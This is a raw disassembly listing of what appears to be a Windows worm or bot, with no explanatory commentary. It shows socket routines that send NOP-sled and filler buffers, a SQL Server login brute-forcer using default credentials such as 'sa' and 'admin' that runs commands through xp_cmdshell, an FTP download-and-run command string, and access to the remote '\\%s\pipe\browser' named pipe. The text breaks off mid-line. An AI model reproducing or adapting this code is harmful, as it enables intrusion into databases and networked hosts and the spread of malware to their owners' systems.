--------------------------------------------------------------------------- loc_423CC2: ; CODE XREF: sub_4239C0+2ECj push 0 lea ecx, [esp+444h+var_40C] push 400h push ecx push esi call edi push esi call ds:dword_4B3CA8 lea ecx, [esp+440h+var_434] mov [esp+440h+var_4], ebx call sub_4011F9 mov al, 1 loc_423CEA: ; CODE XREF: sub_4239C0+300j mov ecx, [esp+440h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 434h retn sub_4239C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423DF0 proc near ; CODE XREF: sub_401744j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_28 = byte ptr 2Ch arg_2C = byte ptr 30h arg_2F = byte ptr 33h arg_59 = byte ptr 5Dh arg_5B = byte ptr 5Fh arg_5C = byte ptr 60h arg_90 = byte ptr 94h arg_A4 = byte ptr 0A8h arg_A5 = byte ptr 0A9h arg_F0 = byte ptr 0F4h arg_190 = byte ptr 194h arg_89C = dword ptr 8A0h arg_8AC = byte ptr 8B0h arg_8D4 = dword ptr 8D8h arg_8E4 = byte ptr 8E8h arg_C08 = dword ptr 0C0Ch arg_C0C = dword ptr 0C10h arg_C18 = byte ptr 0C1Ch arg_E30 = byte ptr 0E34h arg_E50 = byte ptr 0E54h arg_E70 = byte ptr 0E74h arg_E90 = byte ptr 0E94h arg_1480 = byte ptr 1484h arg_14E0 = byte ptr 14E4h arg_14FC = byte ptr 1500h arg_1CCC = byte ptr 1CD0h arg_2177 = byte ptr 217Bh arg_2464 = byte ptr 2468h arg_24C5 = byte ptr 24C9h arg_34F8 = byte ptr 34FCh arg_3FA0 = byte ptr 3FA4h arg_3FC0 = byte ptr 3FC4h arg_401C = byte ptr 4020h arg_401D = byte ptr 4021h arg_4020 = byte ptr 4024h arg_4030 = byte ptr 4034h arg_4AF4 = byte ptr 4AF8h arg_6098 = byte ptr 609Ch arg_60F8 = byte ptr 60FCh arg_6100 = byte ptr 6104h arg_8140 = byte ptr 8144h arg_81DC = byte ptr 81E0h arg_8234 = dword ptr 8238h arg_8290 = dword ptr 8294h arg_8294 = dword ptr 8298h mov eax, 81D8h call sub_430390 mov eax, ds:dword_43D93C mov ecx, ds:dword_43D940 push ebx push ebp push esi lea edx, [esp+0Ch+arg_81DC] push edi mov [esp+10h], eax push edx lea eax, [esp+14h+arg_4] push offset dword_43D930 push eax mov [esp+1Ch+arg_0], ecx call ds:dword_4B3C18 add esp, 0Ch xor eax, eax lea ecx, [esp+10h+arg_A5] loc_423E35: ; CODE XREF: sub_423DF0+56j mov dl, [esp+eax+10h+arg_4] inc eax mov [ecx-1], dl mov byte ptr [ecx], 0 add ecx, 2 cmp eax, 28h jl short loc_423E35 mov ecx, 18h mov esi, offset dword_43D200 lea edi, [esp+10h+arg_2C] xor eax, eax rep movsd lea edi, [esp+10h+arg_4] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea esi, [esp+10h+arg_A4] shl ecx, 1 mov eax, ecx lea edi, [esp+10h+arg_5C] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 mov edx, ds:dword_43D257 rep movsb lea edi, [esp+10h+arg_4] or ecx, 0FFFFFFFFh repne scasb not ecx mov eax, ds:dword_43D25B dec ecx lea edi, [esp+10h+arg_4] lea ecx, [esp+ecx*2+10h+arg_5B] mov [ecx], edx mov dl, ds:byte_43D25F mov [ecx+4], eax xor eax, eax mov [ecx+8], dl or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+10h+arg_4] mov ebx, ecx or ecx, 0FFFFFFFFh add bl, 1Ah shl bl, 1 repne scasb mov ax, ds:word_4B22FC mov [esp+10h+arg_2F], bl not ecx dec ecx push eax shl cl, 1 add cl, 9 mov [esp+14h+arg_59], cl call ds:dword_4B3CB0 mov edx, [esp+14h+arg_8294] xor eax, 9999h test edx, edx mov ds:word_43CF00, ax jz loc_423FE3 mov ecx, 36Bh mov eax, 90909090h lea edi, [esp+14h+arg_F0] mov edx, ds:dword_43D5F4[edx*8] rep stosd mov edi, offset dword_43CE50 or ecx, 0FFFFFFFFh xor eax, eax mov esi, offset dword_43CE50 repne scasb not ecx dec ecx lea edi, [esp+14h+arg_8E4] mov eax, ecx mov [esp+14h+arg_8D4], edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, ds:dword_43D928 mov edi, offset dword_43CE50 mov [esp+14h+arg_C08], ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov [esp+14h+arg_C0C], edx mov edx, ecx mov esi, offset dword_43CE50 lea edi, [esp+14h+arg_C18] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+14h+arg_24C5] loc_423F8F: ; CODE XREF: sub_423DF0+1B5j mov dl, [esp+eax+14h+arg_F0] inc eax mov [ecx-1], dl mov byte ptr [ecx], 0 add ecx, 2 cmp eax, 0DACh jl short loc_423F8F mov ecx, 714h mov eax, 31313131h lea edi, [esp+14h+arg_60F8] mov [esp+14h+arg_401C], 0 rep stosd stosw mov ecx, 714h mov eax, 31313131h lea edi, [esp+14h+arg_4020] mov [esp+14h+arg_401D], 0 rep stosd stosw jmp short loc_424052 ; --------------------------------------------------------------------------- loc_423FE3: ; CODE XREF: sub_423DF0+10Bj mov ecx, 1F4h mov eax, 90909090h lea edi, [esp+14h+arg_F0] mov esi, offset dword_43CE50 rep stosd mov edi, offset dword_43CE50 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx lea edi, [esp+14h+arg_190] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+14h+var_4] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea esi, [esp+14h+var_4] mov edx, ecx lea edi, [esp+14h+arg_8AC] shr ecx, 2 rep movsd mov eax, ds:dword_43D5F4 mov ecx, edx and ecx, 3 rep movsb mov [esp+14h+arg_89C], eax loc_424052: ; CODE XREF: sub_423DF0+1F1j mov ecx, 38Ah mov eax, 31313131h lea edi, [esp+14h+arg_14E0] mov ebp, [esp+14h+arg_8290] rep stosd movsx ecx, bl mov ebx, ds:dword_4B3C9C add ecx, 4 push 0 lea edx, [esp+18h+arg_28] push ecx push edx push ebp stosb call ebx cmp eax, 0FFFFFFFFh jnz short loc_424096 xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_424096: ; CODE XREF: sub_423DF0+297j mov esi, ds:dword_4B3C6C push 0 lea eax, [esp+28h+arg_E90] push 640h push eax push ebp call esi push 0 push 68h push offset dword_43D264 push ebp call ebx cmp eax, 0FFFFFFFFh jnz short loc_4240CC xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_4240CC: ; CODE XREF: sub_423DF0+2CDj push 0 lea ecx, [esp+48h+arg_E70] push 640h push ecx push ebp call esi push 0 push 0A0h push offset dword_43D2D0 push ebp call ebx cmp eax, 0FFFFFFFFh jnz short loc_4240FF xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_4240FF: ; CODE XREF: sub_423DF0+300j push 0 lea edx, [esp+68h+arg_E50] push 640h push edx push ebp call esi mov eax, [esp+74h+arg_8234] test eax, eax jz loc_4241E5 mov ecx, 1Ah mov esi, offset dword_43D488 lea edi, [esp+74h+arg_6098] push 0 rep movsd mov ecx, 6D6h lea esi, [esp+78h+arg_2464] lea edi, [esp+78h+arg_6100] lea eax, [esp+78h+arg_6098] rep movsd movsw mov ecx, 1Ch mov esi, offset dword_43D4F4 lea edi, [esp+78h+arg_3FC0] push 10FCh rep movsd mov ecx, 297h lea esi, [esp+7Ch+arg_34F8] lea edi, [esp+7Ch+arg_4030] push eax rep movsd movsw mov ecx, 21h mov esi, offset dword_43D568 lea edi, [esp+80h+arg_4AF4] push ebp rep movsd call ebx cmp eax, 0FFFFFFFFh jnz short loc_4241AB xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_4241AB: ; CODE XREF: sub_423DF0+3ACj push 0 lea ecx, [esp+88h+arg_E30] push 640h push ecx push ebp call ds:dword_4B3C6C push 0 lea edx, [esp+98h+arg_3FA0] push 0FDCh push edx push ebp call ebx cmp eax, 0FFFFFFFFh jnz short loc_42424C xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_4241E5: ; CODE XREF: sub_423DF0+32Aj mov ecx, 1Fh mov esi, offset dword_43D374 lea edi, [esp+74h+arg_1480] push 0 rep movsd mov ecx, 1F4h lea esi, [esp+78h+arg_90] lea edi, [esp+78h+arg_14FC] lea eax, [esp+78h+arg_1480] rep movsd mov ecx, 24h mov esi, offset off_43D3F4 lea edi, [esp+78h+arg_1CCC] push 0CF8h push eax push ebp rep movsd mov [esp+84h+arg_2177], 0 call ebx cmp eax, 0FFFFFFFFh jnz short loc_42424C xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_42424C: ; CODE XREF: sub_423DF0+3E6j ; sub_423DF0+44Dj push 12Ch call ds:dword_4B38CC sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+164h+arg_8140] mov edi, esp rep movsd movsw call sub_40135C add esp, 0BCh test al, al pop edi pop esi pop ebp pop ebx setnz al add esp, 81D8h retn sub_423DF0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 130h dup(0CCh) ; --------------------------------------------------------------------------- loc_4243C0: ; CODE XREF: _294ADE7B:00401C8Aj sub esp, 650h xor eax, eax push ebx mov [esp+4], eax push esi mov [esp+0Ch], eax lea ecx, [esp+660h] push edi mov [esp+14h], eax push ecx mov [esp+1Ch], eax mov word ptr [esp+10h], 2 call ds:dword_4B3CBC mov edx, [esp+6FEh] mov [esp+10h], eax push edx call ds:dword_4B3CB0 push 6 push 1 push 2 mov [esp+1Ah], ax call ds:dword_4B3CAC mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_424426 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: _294ADE7B:00424418j lea eax, [esp+0Ch] push 10h push eax push ebx call ds:dword_4B3CB4 cmp eax, 0FFFFFFFFh jnz short loc_424445 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_424445: ; CODE XREF: _294ADE7B:00424437j mov edi, ds:dword_4B3C9C push 0 push 89h push offset dword_43CFE8 push ebx call edi cmp eax, 0FFFFFFFFh jnz short loc_42446B xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_42446B: ; CODE XREF: _294ADE7B:0042445Dj mov esi, ds:dword_4B3C6C push 0 lea ecx, [esp+20h] push 640h push ecx push ebx call esi push 0 push 0A8h push offset dword_43D074 push ebx call edi cmp eax, 0FFFFFFFFh jnz short loc_4244A0 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_4244A0: ; CODE XREF: _294ADE7B:00424492j push 0 lea edx, [esp+20h] push 640h push edx push ebx call esi push 0 push 0DEh push offset dword_43D120 push ebx call edi cmp eax, 0FFFFFFFFh jnz short loc_4244CF xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_4244CF: ; CODE XREF: _294ADE7B:004244C1j push 0 lea eax, [esp+20h] push 640h push eax push ebx call esi movsx eax, byte ptr [esp+60h] sub eax, 30h jz short loc_4244FB dec eax jz short loc_4244F7 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_4244F7: ; CODE XREF: _294ADE7B:004244E9j push 0 jmp short loc_42452E ; --------------------------------------------------------------------------- loc_4244FB: ; CODE XREF: _294ADE7B:004244E6j push 2 push ebx sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+724h] mov edi, esp rep movsd movsw call sub_401744 add esp, 0C4h test al, al jz short loc_42452C mov esi, 1 jmp short loc_42455A ; --------------------------------------------------------------------------- loc_42452C: ; CODE XREF: _294ADE7B:00424523j push 1 loc_42452E: ; CODE XREF: _294ADE7B:004244F9j push ebx mov ecx, 2Eh sub esp, 0BCh lea esi, [esp+724h] mov edi, esp rep movsd movsw call sub_401744 add esp, 0C4h neg al sbb eax, eax neg eax mov esi, eax loc_42455A: ; CODE XREF: _294ADE7B:0042452Aj push ebx call ds:dword_4B3CA8 test esi, esi jz short loc_424588 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+71Ch] mov edi, esp rep movsd movsw call sub_401131 add esp, 0BCh loc_424588: ; CODE XREF: _294ADE7B:00424563j pop edi pop esi mov eax, 1 pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_424620: ; CODE XREF: _294ADE7B:00401D43j sub esp, 0C44h mov al, ds:byte_43FDC8 mov ecx, offset aRoot ; "root" push ebx push ebp mov [esp+28h], ecx mov [esp+40h], ecx push esi lea ecx, [esp+18h] push edi xor edx, edx mov [esp+13h], al push ecx mov esi, offset aSa ; "sa" mov eax, offset aAdmin ; "admin" push edx push 1 mov [esp+38h], esi mov [esp+40h], eax mov [esp+44h], edx mov dword ptr [esp+48h], offset byte_43FDC8 mov [esp+4Ch], eax mov [esp+50h], esi mov dword ptr [esp+58h], offset aH4x0r ; "h4x0r" mov [esp+5Ch], edx mov [esp+30h], edx mov [esp+24h], edx mov [esp+20h], edx call sub_430310 test ax, ax jz short loc_42469F xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 0C44h retn ; --------------------------------------------------------------------------- loc_42469F: ; CODE XREF: _294ADE7B:00424690j mov edx, [esp+1Ch] push 0FFFFFFFAh push 3 push 0C8h push edx call sub_43030A test ax, ax jz short loc_4246C4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 0C44h retn ; --------------------------------------------------------------------------- loc_4246C4: ; CODE XREF: _294ADE7B:004246B5j mov ecx, [esp+1Ch] lea eax, [esp+18h] push eax push ecx push 2 call sub_430310 test ax, ax jz short loc_4246F3 mov edx, [esp+1Ch] push edx push 1 call sub_430304 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 0C44h retn ; --------------------------------------------------------------------------- loc_4246F3: ; CODE XREF: _294ADE7B:004246D8j test esi, esi jz loc_42488E mov ebp, ds:dword_4B3C18 lea ecx, [esp+2Ch] mov [esp+20h], ecx loc_424709: ; CODE XREF: _294ADE7B:00424881j mov eax, offset byte_43FDC8 test eax, eax jz loc_424871 mov ebx, [ecx] lea esi, [esp+3Ch] loc_42471C: ; CODE XREF: _294ADE7B:0042479Cj mov edx, [esp+0CF6h] lea ecx, [esp+13h] push ecx push eax push ebx lea eax, [esp+0C68h] push edx push eax lea ecx, [esp+468h] push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"... push ecx call ebp add esp, 1Ch lea edx, [esp+2Ah] lea eax, [esp+854h] lea edi, [esp+454h] push 0 push edx push 400h push eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edx, [esp+28h] not ecx dec ecx push ecx lea ecx, [esp+468h] push ecx push eax push edx call sub_4302FE test ax, ax jz short loc_4247A7 cmp ax, 1 jz short loc_4247A7 push 1F4h call ds:dword_4B38CC mov eax, [esi+4] add esi, 4 test eax, eax jnz loc_42471C jmp loc_424871 ; --------------------------------------------------------------------------- loc_4247A7: ; CODE XREF: _294ADE7B:00424781j ; _294ADE7B:00424787j mov ecx, [esp+18h] lea eax, [esp+14h] push eax push ecx push 3 call sub_430310 mov ecx, offset byte_4403A9 call sub_401726 push eax mov ecx, offset byte_4403A9 call sub_401726 push eax mov ecx, offset byte_4403A9 call sub_401726 push eax mov ecx, offset byte_4403A9 call sub_401726 mov edx, ds:dword_4404E7 push eax mov eax, [esp+0C68h] push edx push eax call sub_401CC1 add esp, 4 lea ecx, [esp+68h] push eax push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"... push ecx call ebp mov eax, [esp+34h] add esp, 20h lea edx, [esp+54h] push 0FFFFFFFDh push edx push eax call sub_4302F8 test ax, ax jz short loc_424865 mov esi, ds:dword_4B38CC push 1388h call esi mov ecx, offset byte_4403A9 call sub_401726 push eax lea ecx, [esp+58h] push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'" push ecx call ebp mov eax, [esp+20h] add esp, 0Ch lea edx, [esp+54h] push 0FFFFFFFDh push edx push eax call sub_4302F8 test ax, ax jz short loc_424886 push 1388h call esi loc_424865: ; CODE XREF: _294ADE7B:0042481Fj mov ecx, [esp+14h] push ecx push 3 call sub_430304 loc_424871: ; CODE XREF: _294ADE7B:00424710j ; _294ADE7B:004247A2j mov ecx, [esp+20h] add ecx, 4 mov [esp+20h], ecx cmp dword ptr [ecx], 0 jz short loc_42488E jmp loc_424709 ; --------------------------------------------------------------------------- loc_424886: ; CODE XREF: _294ADE7B:0042485Cj mov dword ptr [esp+24h], 1 loc_42488E: ; CODE XREF: _294ADE7B:004246F5j ; _294ADE7B:0042487Fj sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+0D14h] mov edi, esp rep movsd movsw call sub_401131 mov edx, [esp+0D4h] add esp, 0BCh push edx push 2 call sub_430304 mov eax, [esp+1Ch] push eax push 1 call sub_430304 mov eax, [esp+24h] pop edi pop esi pop ebp pop ebx add esp, 0C44h retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 0B0h dup(0CCh) ; --------------------------------------------------------------------------- loc_424990: ; CODE XREF: _294ADE7B:00401D02j push edi push 0C8h call ds:dword_4B38CC mov edx, [esp+0Ch] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb mov eax, [esp+8] push 0 not ecx dec ecx push ecx push edx push eax call ds:dword_4B3C9C cmp eax, 0FFFFFFFFh pop edi setnz al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4249E0 proc near ; CODE XREF: sub_401960j var_5A0 = dword ptr -5A0h var_59C = dword ptr -59Ch var_598 = dword ptr -598h var_594 = dword ptr -594h var_590 = byte ptr -590h var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_BC = dword ptr 0C0h sub esp, 5A0h xor eax, eax push ebx mov [esp+5A4h+var_5A0], eax push ebp mov [esp+5A8h+var_59C], eax push esi lea ecx, [esp+5ACh+arg_4] push edi mov [esp+5B0h+var_598], eax push ecx mov [esp+5B4h+var_594], eax mov word ptr [esp+5B4h+var_5A0], 2 call ds:dword_4B3CBC mov edx, [esp+5B0h+arg_BC] mov [esp+5B0h+var_59C], eax push edx call ds:dword_4B3CB0 push 0 push 1 push 2 mov word ptr [esp+5BCh+var_5A0+2], ax call ds:dword_4B3CAC mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_424A48 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_424A48: ; CODE XREF: sub_4249E0+59j lea eax, [esp+5B0h+var_5A0] push 10h push eax push esi call ds:dword_4B3CB4 cmp eax, 0FFFFFFFFh jnz short loc_424A68 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_424A68: ; CODE XREF: sub_4249E0+79j push 0 lea ecx, [esp+5B4h+var_400] push 400h push ecx push esi call ds:dword_4B3C6C mov ecx, offset byte_4403A9 call sub_401726 push eax mov ecx, offset byte_4403A9 call sub_401726 mov edx, ds:dword_4404E7 push eax mov eax, [esp+5B8h+arg_0] push edx push eax call sub_401CC1 mov ebx, ds:dword_4B3AA8 add esp, 4 lea ecx, [esp+5BCh+var_590] push eax push offset aOpenSDIiEchoUs ; "open %s %d >> ii &echo user a a >> ii &"... push 190h push ecx call ebx lea edi, [esp+5CCh+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 1Ch repne scasb mov ebp, ds:dword_4B3C9C push 0 not ecx dec ecx lea edx, [esp+5B4h+var_590] push ecx push edx push esi call ebp cmp eax, 0FFFFFFFFh jnz short loc_424AF7 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_424AF7: ; CODE XREF: sub_4249E0+108j push 1F4h call ds:dword_4B38CC mov ecx, offset byte_4403A9 call sub_401726 push eax push offset dword_43BBBC lea eax, [esp+5B8h+var_590] push 190h push eax call ebx lea edi, [esp+5C0h+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx lea ecx, [esp+5B8h+var_590] push ecx push esi call ebp cmp eax, 0FFFFFFFFh jnz short loc_424B4C pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_424B4C: ; CODE XREF: sub_4249E0+15Dj push 0 lea edx, [esp+5B4h+var_400] push 400h push edx push esi call ds:dword_4B3C6C push esi call ds:dword_4B3CA8 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 5A0h retn sub_4249E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_424BF0: ; CODE XREF: _294ADE7B:00401FEBj mov eax, 1E88h call sub_430390 push esi push edi mov ecx, 20Ch xor eax, eax lea edi, [esp+238h] mov esi, offset dword_43DB08 rep stosd mov ecx, 0FAh mov eax, 90909090h lea edi, [esp+0A68h] mov edx, ds:dword_4B2300 rep stosd mov ecx, 56h lea edi, [esp+0CDEh] rep movsd mov eax, ds:dword_43DD80 mov ecx, 10h movsw movsb lea edi, [esp+0E50h] mov esi, offset dword_43DAB8 rep stosd mov eax, ds:dword_43DD78 mov ecx, 0Bh lea edi, [esp+238h] rep movsd mov ecx, 10Ah lea esi, [esp+0A68h] lea edi, [esp+270h] mov [esp+264h], eax mov [esp+268h], edx mov [esp+26Ch], eax rep movsd mov ecx, 7 mov esi, offset dword_43DAE8 lea edi, [esp+69Ch] mov ax, ds:word_43DD74 mov [esp+698h], edx lea edx, [esp+30h] rep movsd mov esi, ds:dword_4B3AA8 lea ecx, [esp+1E98h] push ecx push offset dword_43D930 push 104h push edx mov [esp+6BCh], ax call esi add esp, 10h xor edi, edi lea ecx, [esp+10h] lea eax, [esp+30h] push edi push offset byte_43FDC8 push offset byte_43FDC8 push ecx mov [esp+24h], edi mov [esp+30h], edi mov [esp+3Ch], edi mov [esp+34h], eax call sub_430AC2 test eax, eax jz short loc_424D15 or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: _294ADE7B:00424D07j lea edx, [esp+1E98h] lea eax, [esp+134h] push edx push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push 104h push eax call esi add esp, 10h lea ecx, [esp+134h] push edi push edi push 3 push edi push edi push 0C0000000h push ecx call ds:dword_4B38B4 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_424D5F or eax, eax pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_424D5F: ; CODE XREF: _294ADE7B:00424D52j lea edx, [esp+0Ch] push edi push edx lea eax, [esp+0E98h] push 1000h push eax push 49h push offset dword_43DA6C push esi call ds:dword_4B3858 test eax, eax jnz short loc_424D97 push esi call ds:dword_4B38C8 or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_424D97: ; CODE XREF: _294ADE7B:00424D82j lea ecx, [esp+8] push edi push ecx lea edx, [esp+240h] push 830h push edx push esi call ds:dword_4B38A0 test eax, eax jnz short loc_424DC8 push esi call ds:dword_4B38C8 or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_424DC8: ; CODE XREF: _294ADE7B:00424DB3j push 115Ch mov ecx, 2Eh sub esp, 0BCh lea esi, [esp+1F54h] mov edi, esp rep movsd movsw call sub_401960 add esp, 0C0h neg al sbb eax, eax pop edi neg eax pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- db 90h db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E90 proc near ; CODE XREF: sub_40136Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+4+arg_0] not ecx dec ecx mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx pop edi lea eax, [ecx+edx*2+0C1h] retn sub_424E90 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424ED0 proc near ; CODE XREF: sub_4016E5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push esi mov esi, [esp+8+arg_C] push esi push ebx call sub_40136B mov ecx, [esp+10h+arg_4] add esp, 8 cmp eax, ecx mov [esp+8+arg_8], eax jbe short loc_424EF5 pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_424EF5: ; CODE XREF: sub_424ED0+1Ej push ebp push edi or ecx, 0FFFFFFFFh mov edi, ebx xor eax, eax mov ebp, [esp+10h+arg_0] repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov esi, offset dword_43DDB8 mov eax, ecx mov edi, ebp lea ecx, [eax+edx+12h] mov ds:dword_43DE1C, ecx lea ecx, [eax+1] mov ds:dword_43DE3D, ecx lea ecx, [eax+17h] mov ds:dword_43DE35, ecx mov ecx, 0FFFFFFEDh sub ecx, eax mov ds:dword_43DE4B, ecx mov ecx, 1Dh rep movsd mov ecx, edx mov esi, ebx mov ebx, ecx lea edi, [ebp+74h] shr ecx, 2 rep movsd mov ecx, ebx add edx, 74h and ecx, 3 rep movsb mov esi, ds:dword_43DE2C lea ecx, [edx+ebp] add edx, 5 mov [ecx], esi mov bl, ds:byte_43DE30 mov esi, [esp+10h+arg_C] lea edi, [edx+ebp] mov [ecx+4], bl mov ecx, eax mov ebx, ecx add edx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, ds:dword_43DE31 lea ecx, [edx+ebp] add edx, 10h mov [ecx], esi mov esi, ds:dword_43DE35 lea edi, [edx+ebp] mov [ecx+4], esi mov esi, ds:dword_43DE39 mov [ecx+8], esi mov esi, ds:dword_43DE3D mov [ecx+0Ch], esi mov esi, [esp+10h+arg_C] mov ecx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [edx+eax] mov eax, [esp+10h+arg_8] add edi, ebp mov ecx, 0Eh mov esi, offset byte_43DE41 rep movsd pop edi pop ebp pop esi pop ebx retn sub_424ED0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425040 proc near ; CODE XREF: sub_401FD7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40136B push eax call sub_401703 add esp, 0Ch retn sub_425040 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_425070: ; CODE XREF: _294ADE7B:00401695j push ebx mov ebx, [esp+10h] push ebp push edi mov edi, [esp+1Ch] push edi push ebx call sub_401FD7 mov ebp, [esp+1Ch] add esp, 8 cmp eax, ebp jbe short loc_425093 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425093: ; CODE XREF: _294ADE7B:0042508Bj cmp eax, 0FFFFh jbe short loc_4250A0 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4250A0: ; CODE XREF: _294ADE7B:00425098j push esi push edi push ebx call sub_40136B add eax, 101h push eax call ds:dword_4B3AB0 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_40136B add esp, 8 push eax push esi call sub_4016E5 push eax mov eax, [esp+28h] push esi push ebp push eax call sub_401A82 push esi mov edi, eax call ds:dword_4B3AAC add esp, 24h mov eax, edi pop esi pop edi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425110 proc near ; CODE XREF: sub_401703j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_425119 inc ecx loc_425119: ; CODE XREF: sub_425110+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_425110 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425140 proc near ; CODE XREF: sub_401A82j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_C] cmp bl, 0Ah jz short loc_425158 cmp bl, 0Dh jz short loc_425158 cmp bl, 5Ch jz short loc_425158 test bl, bl jnz short loc_425159 loc_425158: ; CODE XREF: sub_425140+8j ; sub_425140+Dj ... inc ebx loc_425159: ; CODE XREF: sub_425140+16j cmp ebx, 0FFh jbe short loc_42517C mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_425176 cmp al, 0Dh jz short loc_425176 cmp al, 5Ch jz short loc_425176 test al, al jnz short loc_42517C loc_425176: ; CODE XREF: 